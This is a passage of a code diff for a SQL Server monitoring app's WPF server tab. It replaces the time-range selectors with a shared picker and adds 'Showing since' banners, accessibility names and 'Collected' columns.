-            else if (!HasLightBackground)
-            {
-                if (child is Border border && border.Background is SolidColorBrush bg && bg.Color.R > 200 && bg.Color.G > 200 && bg.Color.B > 200)
-                    border.Background = primaryBg;
-                else if (child is Grid grid && grid.Background is SolidColorBrush gridBg && gridBg.Color.R > 200 && gridBg.Color.G > 200 && gridBg.Color.B > 200)
-                    grid.Background = primaryBg;
-            }
-
-            ApplyThemeRecursively(child, primaryBg, fg);
-        }
+        App.WriteSetting("time range", root => App.WriteDefaultTimeRange(root, rangeId, hours));
     }
 }
diff --git a/Lite/Controls/ServerTab.xaml b/Lite/Controls/ServerTab.xaml
index 5db2dacf3f..1b10da4561 100644
--- a/Lite/Controls/ServerTab.xaml
+++ b/Lite/Controls/ServerTab.xaml
@@ -207,34 +207,14 @@
                             </Grid>
                         </Border>
                     </Popup>
-                    <ComboBox x:Name="TimeRangeCombo" SelectedIndex="1" Width="120" Margin="0,0,8,0"
-                              SelectionChanged="TimeRangeCombo_SelectionChanged">
-                        <ComboBoxItem Content="Last 1 hour"/>
-                        <ComboBoxItem Content="Last 4 hours"/>
-                        <ComboBoxItem Content="Last 12 hours"/>
-                        <ComboBoxItem Content="Last 24 hours"/>
-                        <ComboBoxItem Content="Last 7 days"/>
-                        <ComboBoxItem Content="Custom Range"/>
-                    </ComboBox>
-                    <DatePicker x:Name="FromDatePicker" Width="120" Margin="4,0,0,0" Visibility="Collapsed"
-                                SelectedDateChanged="CustomDateRange_Changed" CalendarOpened="DatePicker_CalendarOpened"/>
-                    <ComboBox x:Name="FromHourCombo" Width="70" Margin="2,0,0,0" Visibility="Collapsed"
-                              SelectionChanged="CustomTimeCombo_Changed" ToolTip="Hour"/>
-                    <ComboBox x:Name="FromMinuteCombo" Width="52" Margin="2,0,0,0" Visibility="Collapsed"
-                              SelectionChanged="CustomTimeCombo_Changed" ToolTip="Minute"/>
-                    <TextBlock x:Name="ToLabel" Text="to" VerticalAlignment="Center" Margin="6,0" Visibility="Collapsed"
-                               Foreground="{DynamicResource ForegroundBrush}"/>
-                    <DatePicker x:Name="ToDatePicker" Width="120" Margin="0,0,0,0" Visibility="Collapsed"
-                                SelectedDateChanged="CustomDateRange_Changed" CalendarOpened="DatePicker_CalendarOpened"/>
-                    <ComboBox x:Name="ToHourCombo" Width="70" Margin="2,0,0,0" Visibility="Collapsed"
-                              SelectionChanged="CustomTimeCombo_Changed" ToolTip="Hour"/>
-                    <ComboBox x:Name="ToMinuteCombo" Width="52" Margin="2,0,4,0" Visibility="Collapsed"
-                              SelectionChanged="CustomTimeCombo_Changed" ToolTip="Minute"/>
+                    <!-- #5562: the shared picker replaces the preset combo and the From/To date, hour and minute pickers. -->
+                    <ui:TimeRangePicker x:Name="RangePicker" AutomationProperties.Name="Time range" Margin="0,0,8,0" VerticalAlignment="Center"
+                                        RangeChanged="RangePicker_RangeChanged"/>
                     <Button Content="Apply to All" Click="ApplyTimeRangeToAll_Click" Padding="8,4" Margin="0,0,8,0"
                             ToolTip="Apply this time range to all open server tabs"/>
                     <TextBlock Text="Compare:" VerticalAlignment="Center" Margin="0,0,4,0"
                                Foreground="{DynamicResource ForegroundBrush}"/>
-                    <ComboBox x:Name="CompareToCombo" SelectedIndex="0" Width="130" Margin="0,0,8,0"
+                    <ComboBox x:Name="CompareToCombo" AutomationProperties.Name="Compare to" ToolTipService.ShowOnDisabled="True" SelectedIndex="0" Width="130" Margin="0,0,8,0"
                               SelectionChanged="CompareToCombo_SelectionChanged"
                               ToolTip="Compare current period against a baseline">
                         <ComboBoxItem Content="None"/>
@@ -246,7 +226,7 @@
                     <Separator Style="{StaticResource {x:Static ToolBar.SeparatorStyleKey}}" Margin="8,2"/>
                     <CheckBox x:Name="AutoRefreshCheckBox" Content="_Auto-refresh" VerticalAlignment="Center" Margin="0,0,4,0"
                               IsChecked="True" Checked="AutoRefreshCheckBox_Changed" Unchecked="AutoRefreshCheckBox_Changed"/>
-                    <ComboBox x:Name="AutoRefreshIntervalCombo" SelectedIndex="1" Width="70" Margin="0,0,0,0"
+                    <ComboBox x:Name="AutoRefreshIntervalCombo" AutomationProperties.Name="Auto-refresh interval" SelectedIndex="1" Width="70" Margin="0,0,0,0"
                               SelectionChanged="AutoRefreshInterval_Changed">
                         <ComboBoxItem Content="30s"/>
                         <ComboBoxItem Content="1m"/>
@@ -254,7 +234,7 @@
                     </ComboBox>
                     <Separator Style="{StaticResource {x:Static ToolBar.SeparatorStyleKey}}" Margin="8,2"/>
                     <TextBlock Text="Times:" VerticalAlignment="Center" Margin="0,0,4,0" Foreground="{DynamicResource ForegroundBrush}"/>
-                    <ComboBox x:Name="TimeDisplayModeBox" Width="120" SelectionChanged="TimeDisplayMode_SelectionChanged"
+                    <ComboBox x:Name="TimeDisplayModeBox" AutomationProperties.Name="Time display" Width="120" SelectionChanged="TimeDisplayMode_SelectionChanged"
                               ToolTip="How timestamps are displayed">
                         <ComboBoxItem Content="Server Time" Tag="ServerTime"/>
                         <ComboBoxItem Content="Local Time" Tag="LocalTime"/>
@@ -364,13 +344,21 @@
                                     <RowDefinition Height="*"/>
                                 </Grid.RowDefinitions>
                                 <controls:TimeRangeSlicerControl x:Name="ActiveQueriesSlicer" Grid.Row="0"/>
-                                <StackPanel Grid.Row="1" Orientation="Horizontal" Margin="0,0,0,8">
-                                    <TextBlock Text="Currently Running Queries" FontSize="14" FontWeight="SemiBold" VerticalAlignment="Center"/>
-                                    <Button x:Name="LiveSnapshotButton" Content="Live Snapshot"
-                                            Click="LiveSnapshot_Click" Padding="12,4" Margin="16,0,8,0"
-                                            VerticalAlignment="Center"/>
-                                    <TextBlock x:Name="LiveSnapshotIndicator" Text="" FontSize="12"
-                                               Foreground="DarkGoldenrod" FontWeight="SemiBold" VerticalAlignment="Center"/>
+                                <StackPanel Grid.Row="1">
+                                    <!-- Where the stored snapshots start, when that is after the window's start (the same
+                                         "Showing since <time>" the Queries grids carry; Lite twin of Darling's Active Queries notice). -->
+                                    <TextBlock x:Name="ActiveQueriesWindowTruncatedBanner" Visibility="Collapsed"
+                                               Padding="8,4" FontWeight="Bold"
+                                               Foreground="{DynamicResource ForegroundBrush}"
+                                               Background="#22FFAA00"/>
+                                    <StackPanel Orientation="Horizontal" Margin="0,0,0,8">
+                                        <TextBlock Text="Currently Running Queries" FontSize="14" FontWeight="SemiBold" VerticalAlignment="Center"/>
+                                        <Button x:Name="LiveSnapshotButton" Content="Live Snapshot"
+                                                Click="LiveSnapshot_Click" Padding="12,4" Margin="16,0,8,0"
+                                                VerticalAlignment="Center"/>
+                                        <TextBlock x:Name="LiveSnapshotIndicator" Text="" FontSize="12"
+                                                   Foreground="DarkGoldenrod" FontWeight="SemiBold" VerticalAlignment="Center"/>
+                                    </StackPanel>
                                 </StackPanel>
                                 <DataGrid Grid.Row="2" x:Name="QuerySnapshotsGrid"
                                           AutoGenerateColumns="False" IsReadOnly="True"
@@ -1296,6 +1284,7 @@
                         <TabItem Header="Plan Corrections">
                             <Grid>
                                 <Grid.RowDefinitions>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
                                 </Grid.RowDefinitions>
@@ -1303,7 +1292,12 @@
                                            Foreground="{DynamicResource ForegroundMutedBrush}"
                                            TextWrapping="Wrap"
                                            Text="The engine's own automatic plan correction findings — sys.dm_db_tuning_recommendations, with the regressed query's text resolved through Query Store at collection time. The engine keeps recommendations only until it restarts, so a captured row can be the only surviving record that a regression happened. Per-database enablement state is on the Configuration tab's Automatic Tuning sub-tab."/>
-                                <DataGrid Grid.Row="1" x:Name="PlanCorrectionGrid"
+                                <!-- #4966: "Showing since <time>" when the stored plan corrections start after the range's start. -->
+                                <TextBlock Grid.Row="1" x:Name="PlanCorrectionsWindowTruncatedBanner" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <DataGrid Grid.Row="2" x:Name="PlanCorrectionGrid"
                                           AutoGenerateColumns="False" IsReadOnly="True"
                                           RowStyle="{StaticResource GridRowStyle}"
                                           HeadersVisibility="Column" GridLinesVisibility="Horizontal"
@@ -1409,6 +1403,7 @@
                         <TabItem Header="Query Heatmap">
                             <Grid>
                                 <Grid.RowDefinitions>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
                                 </Grid.RowDefinitions>
@@ -1422,7 +1417,12 @@
                                         <ComboBoxItem Content="Execution Count"/>
                                     </ComboBox>
                                 </StackPanel>
-                                <ScottPlot:WpfPlot Grid.Row="1" x:Name="QueryHeatmapChart"
+                                <!-- #4966: the heatmap draws one column per 5-minute bucket across the asked range, so a gap shows as empty columns; this says where the stored rows start, which an empty column cannot (a server that did not exist yet looks like one that ran nothing). -->
+                                <TextBlock Grid.Row="1" x:Name="QueryHeatmapWindowTruncatedBanner" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <ScottPlot:WpfPlot Grid.Row="2" x:Name="QueryHeatmapChart"
                                                     MouseMove="HeatmapChart_MouseMove"
                                                     MouseLeave="HeatmapChart_MouseLeave"/>
                             </Grid>
@@ -1530,6 +1530,10 @@
                                         <TextBlock Text="Memory Model" Foreground="{DynamicResource ForegroundDimBrush}" FontSize="11"/>
                                         <TextBlock x:Name="SqlMemoryModelText" Text="--" FontSize="18" FontWeight="SemiBold"/>
                                     </StackPanel>
+                                    <StackPanel Margin="0,0,24,0">
+                                        <TextBlock Text="Collected" Foreground="{DynamicResource ForegroundDimBrush}" FontSize="11"/>
+                                        <TextBlock x:Name="MemoryCollectedText" Text="--" FontSize="18" FontWeight="SemiBold"/>
+                                    </StackPanel>
                                 </WrapPanel>
                             </Border>
 
@@ -1611,9 +1615,18 @@
                     <!-- Memory Pressure Events Sub-Tab -->
                     <TabItem Header="Memory Pressure Events">
                         <Grid Margin="8">
-                            <ScottPlot:WpfPlot x:Name="MemoryPressureEventsChart"/>
+                            <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
+                                <RowDefinition Height="*"/>
+                            </Grid.RowDefinitions>
+                            <!-- #4966: "Showing since <time>" when the stored events start after the range's start; the chart draws bars only where pressure was recorded, so an empty span reads as no pressure. -->
+                            <TextBlock Grid.Row="0" x:Name="MemoryPressureEventsWindowTruncatedBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <ScottPlot:WpfPlot Grid.Row="1" x:Name="MemoryPressureEventsChart"/>
                             <!-- Shown only where the memory_pressure_events collector does not collect for this server and the chart has no points. -->
-                            <TextBlock x:Name="MemoryPressureEventsNoDataMessage" Visibility="Collapsed" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" TextWrapping="Wrap" MaxWidth="520" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}"/>
+                            <TextBlock Grid.Row="1" x:Name="MemoryPressureEventsNoDataMessage" Text="No memory pressure events in the selected time window." Visibility="Collapsed" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" TextWrapping="Wrap" MaxWidth="520" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}"/>
                         </Grid>
                     </TabItem>
 
@@ -1689,17 +1702,34 @@
                         <TabItem Header="Trends">
                             <Grid>
                                 <Grid.RowDefinitions>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
                                 </Grid.RowDefinitions>
-                                <Border Grid.Row="0" Margin="0,0,0,4">
+                                <!-- One "Showing since" note per chart (#4966): the three charts draw from three different floors
+                                     (wait_stats, the blocked-process-report sources, deadlocks), so no one note is true of all of them. -->
+                                <TextBlock x:Name="LockWaitTrendTruncationBanner" Grid.Row="0" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <Border Grid.Row="1" Margin="0,0,0,4">
                                     <ScottPlot:WpfPlot x:Name="LockWaitTrendChart"/>
                                 </Border>
-                                <Border Grid.Row="1" Margin="0,4,0,4">
+                                <TextBlock x:Name="BlockingTrendTruncationBanner" Grid.Row="2" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <Border Grid.Row="3" Margin="0,4,0,4">
                                     <ScottPlot:WpfPlot x:Name="BlockingTrendChart"/>
                                 </Border>
-                                <Border Grid.Row="2" Margin="0,4,0,0">
+                                <TextBlock x:Name="DeadlockTrendTruncationBanner" Grid.Row="4" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <Border Grid.Row="5" Margin="0,4,0,0">
                                     <ScottPlot:WpfPlot x:Name="DeadlockTrendChart"/>
                                 </Border>
                             </Grid>
@@ -1707,15 +1737,27 @@
                         <TabItem Header="Current Waits">
                             <Grid>
                                 <Grid.RowDefinitions>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
                                     <RowDefinition Height="*"/>
+                                    <RowDefinition Height="Auto"/>
                                 </Grid.RowDefinitions>
-                                <Border Grid.Row="0" Margin="0,0,0,4">
+                                <!-- Where the stored waiting-task rows start, when that is after the window's start (the same
+                                     "Showing since <time>" the Queries grids carry; Lite twin of Darling's Current Waits notice). -->
+                                <TextBlock Grid.Row="0" x:Name="CurrentWaitsWindowTruncatedBanner" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <Border Grid.Row="1" Margin="0,0,0,4">
                                     <ScottPlot:WpfPlot x:Name="CurrentWaitsDurationChart"/>
                                 </Border>
-                                <Border Grid.Row="1" Margin="0,4,0,0">
+                                <Border Grid.Row="2" Margin="0,4,0,0">
                                     <ScottPlot:WpfPlot x:Name="CurrentWaitsBlockedChart"/>
                                 </Border>
+                                <!-- Both charts read waiting_tasks, which stores a row only when a collection found a task waiting or blocked, so a quiet server draws few points and a gap means nothing was waiting. -->
+                                <TextBlock Grid.Row="3" x:Name="CurrentWaitsSparseNote" Padding="8,4" FontStyle="Italic" TextWrapping="Wrap"
+                                           Foreground="{DynamicResource ForegroundDimBrush}"
+                                           Text="Points appear only when a collection found waiting or blocked tasks. A gap means nothing was waiting at that time."/>
                             </Grid>
                         </TabItem>
                         <TabItem Header="Blocked Process Reports">
@@ -1726,8 +1768,16 @@
                                     <RowDefinition Height="*"/>
                                 </Grid.RowDefinitions>
                                 <controls:TimeRangeSlicerControl x:Name="BlockingSlicer" Grid.Row="0"/>
-                                <TextBlock x:Name="BlockedProcessReportNoteText" Grid.Row="1" Visibility="Collapsed" TextWrapping="Wrap" Margin="8,4,8,4"
-                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <StackPanel Grid.Row="1">
+                                    <!-- Where the stored blocked-process coverage starts, when that is after the window's start (the same
+                                         "Showing since <time>" the Queries grids carry). -->
+                                    <TextBlock x:Name="BlockedProcessReportsWindowTruncatedBanner" Visibility="Collapsed"
+                                               Padding="8,4" FontWeight="Bold"
+                                               Foreground="{DynamicResource ForegroundBrush}"
+                                               Background="#22FFAA00"/>
+                                    <TextBlock x:Name="BlockedProcessReportNoteText" Visibility="Collapsed" TextWrapping="Wrap" Margin="8,4,8,4"
+                                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                </StackPanel>
                             <DataGrid x:Name="BlockedProcessReportGrid" Grid.Row="2"
                                       AutoGenerateColumns="False" IsReadOnly="True"
                                       RowStyle="{StaticResource BlockingRowStyle}"
@@ -1840,8 +1890,16 @@
                                     <RowDefinition Height="*"/>
                                 </Grid.RowDefinitions>
                                 <controls:TimeRangeSlicerControl x:Name="DeadlockSlicer" Grid.Row="0"/>
-                                <TextBlock x:Name="DeadlockNoteText" Grid.Row="1" Visibility="Collapsed" TextWrapping="Wrap" Margin="8,4,8,4"
-                                           Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                <StackPanel Grid.Row="1">
+                                    <!-- Where the stored deadlock coverage starts, when that is after the window's start (the same
+                                         "Showing since <time>" the Queries grids carry). -->
+                                    <TextBlock x:Name="DeadlocksWindowTruncatedBanner" Visibility="Collapsed"
+                                               Padding="8,4" FontWeight="Bold"
+                                               Foreground="{DynamicResource ForegroundBrush}"
+                                               Background="#22FFAA00"/>
+                                    <TextBlock x:Name="DeadlockNoteText" Visibility="Collapsed" TextWrapping="Wrap" Margin="8,4,8,4"
+                                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                                </StackPanel>
                             <DataGrid x:Name="DeadlockGrid" Grid.Row="2"
                                       AutoGenerateColumns="False" IsReadOnly="True"
                                       RowStyle="{StaticResource DeadlockRowStyle}"
@@ -1945,7 +2003,9 @@
                                  spans both columns below. -->
                             <Grid>
                                 <Grid.RowDefinitions>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
+                                    <RowDefinition Height="Auto"/>
                                     <RowDefinition Height="*"/>
                                     <RowDefinition Height="Auto"/>
                                 </Grid.RowDefinitions>
@@ -1953,19 +2013,28 @@
                                     <ColumnDefinition Width="*"/>
                                     <ColumnDefinition Width="*"/>
                                 </Grid.ColumnDefinitions>
-                                <Border Grid.Row="0" Grid.Column="0" Margin="0,0,4,4">
+                                <!-- One note per chart pair (#4966): blocking pair from the blocked-process-report sources, deadlock pair from deadlocks. -->
+                                <TextBlock x:Name="BlockingStatsBlockingTruncationBanner" Grid.Row="0" Grid.ColumnSpan="2" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <Border Grid.Row="1" Grid.Column="0" Margin="0,0,4,4">
                                     <ScottPlot:WpfPlot x:Name="BlockingDurationChart"/>
                                 </Border>
-                                <Border Grid.Row="0" Grid.Column="1" Margin="4,0,0,4">
+                                <Border Grid.Row="1" Grid.Column="1" Margin="4,0,0,4">
                                     <ScottPlot:WpfPlot x:Name="BlockingTotalDurationChart"/>
                                 </Border>
-                                <Border Grid.Row="1" Grid.Column="0" Margin="0,4,4,0">
+                                <TextBlock x:Name="BlockingStatsDeadlockTruncationBanner" Grid.Row="2" Grid.ColumnSpan="2" Visibility="Collapsed"
+                                           Padding="8,4" FontWeight="Bold"
+                                           Foreground="{DynamicResource ForegroundBrush}"
+                                           Background="#22FFAA00"/>
+                                <Border Grid.Row="3" Grid.Column="0" Margin="0,4,4,0">
                                     <ScottPlot:WpfPlot x:Name="DeadlockWaitChart"/>
                                 </Border>
-                                <Border Grid.Row="1" Grid.Column="1" Margin="4,4,0,0">
+                                <Border Grid.Row="3" Grid.Column="1" Margin="4,4,0,0">
                                     <ScottPlot:WpfPlot x:Name="DeadlockTotalWaitChart"/>
                                 </Border>
-                                <Border Grid.Row="2" Grid.ColumnSpan="2" Background="{DynamicResource BackgroundDarkBrush}" CornerRadius="4" Padding="12,8" Margin="0,4,0,0">
+                                <Border Grid.Row="4" Grid.ColumnSpan="2" Background="{DynamicResource BackgroundDarkBrush}" CornerRadius="4" Padding="12,8" Margin="0,4,0,0">
                                     <StackPanel Orientation="Horizontal" HorizontalAlignment="Center">
                                         <TextBlock Text="Blocking Events:" FontWeight="SemiBold" Foreground="{DynamicResource ForegroundDimBrush}" VerticalAlignment="Center" Margin="0,0,5,0"/>
                                         <TextBlock x:Name="BlockingStatsEventCountText" Text="--" VerticalAlignment="Center" Margin="0,0,20,0"/>
@@ -2067,28 +2136,31 @@
                             <DataGridTextColumn Binding="{Binding StartTimeLocal}" Width="150" SortMemberPath="StartTime">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StartTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Start Time" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CurrentDurationFormatted}" Width="120" SortMemberPath="CurrentDurationSeconds">
+                            <DataGridTextColumn Binding="{Binding CurrentDurationFormatted}" Width="150" SortMemberPath="CurrentDurationSeconds">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CurrentDurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Current Duration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgDurationFormatted}" Width="110" SortMemberPath="AvgDurationSeconds">
+                            <DataGridTextColumn Binding="{Binding AvgDurationFormatted}" Width="130" SortMemberPath="AvgDurationSeconds">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgDurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Avg Duration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding P95DurationFormatted}" Width="110" SortMemberPath="P95DurationSeconds">
+                            <DataGridTextColumn Binding="{Binding P95DurationFormatted}" Width="130" SortMemberPath="P95DurationSeconds">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="P95DurationFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="P95 Duration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PercentOfAverageFormatted}" Width="100" SortMemberPath="PercentOfAverage">
+                            <DataGridTextColumn Binding="{Binding PercentOfAverageFormatted}" Width="125" SortMemberPath="PercentOfAverage">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PercentOfAverageFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="% of Average" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding RunningLongDisplay}" Width="90">
+                            <DataGridTextColumn Binding="{Binding RunningLongDisplay}" Width="125">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RunningLongDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Running Long" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SuccessfulRunCount}" ElementStyle="{StaticResource NumericCell}" Width="140">
+                            <DataGridTextColumn Binding="{Binding SuccessfulRunCount}" ElementStyle="{StaticResource NumericCell}" Width="190">
                                 <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SuccessfulRunCount" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Successful Runs (30d)" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                             </DataGridTextColumn>
+                            <DataGridTextColumn Binding="{Binding CollectionTimeLocal}" Width="150" SortMemberPath="CollectionTime">
+                                <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CollectionTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                            </DataGridTextColumn>
                         </DataGrid.Columns>
                     </DataGrid>
-                    <!-- Shown only where the running_jobs collector does not collect for this server and the grid has no rows. -->
-                    <TextBlock Grid.Row="2" x:Name="RunningJobsNoDataMessage" Visibility="Collapsed" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" TextWrapping="Wrap" MaxWidth="520" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}"/>
+                    <!-- Says no job is running when the grid has no rows; where the running_jobs collector does not collect for this server, or the login lacks msdb access, the not-collected note or the msdb warning replaces it. -->
+                    <TextBlock Grid.Row="2" x:Name="RunningJobsNoDataMessage" Text="No SQL Agent jobs are running." Visibility="Collapsed" HorizontalAlignment="Center" VerticalAlignment="Center" TextAlignment="Center" TextWrapping="Wrap" MaxWidth="520" FontStyle="Italic" Foreground="{DynamicResource ForegroundDimBrush}"/>
                 </Grid>
             </TabItem>
 
@@ -2106,18 +2178,21 @@
                                         <DataGridTextColumn Binding="{Binding ConfigurationName}" Width="300">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ConfigurationName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Setting" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding ValueConfigured}" Width="130">
+                                        <DataGridTextColumn Binding="{Binding ValueConfigured}" Width="150">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ValueConfigured" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Configured Value" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
                                         <DataGridTextColumn Binding="{Binding ValueInUse}" Width="130">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ValueInUse" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Value In Use" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding DynamicDisplay}" Width="80">
+                                        <DataGridTextColumn Binding="{Binding DynamicDisplay}" Width="95">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DynamicDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Dynamic" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding AdvancedDisplay}" Width="80">
+                                        <DataGridTextColumn Binding="{Binding AdvancedDisplay}" Width="100">
                                             <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AdvancedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Advanced" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         </DataGridTextColumn>
+                                        <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                            <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                        </DataGridTextColumn>
                                     </DataGrid.Columns>
                                 </DataGrid>
                                 <!-- Shown only where the server_config collector does not collect for this server and the grid has no rows. -->
@@ -2136,46 +2211,46 @@
                                     <DataGridTextColumn Binding="{Binding StateDesc}" Width="90">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StateDesc" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="State" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding CompatibilityLevel}" ElementStyle="{StaticResource NumericCell}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding CompatibilityLevel}" ElementStyle="{StaticResource NumericCell}" Width="125">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CompatibilityLevel" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Compat Level" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding CollationName}" Width="180">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CollationName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collation" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding RecoveryModel}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding RecoveryModel}" Width="135">
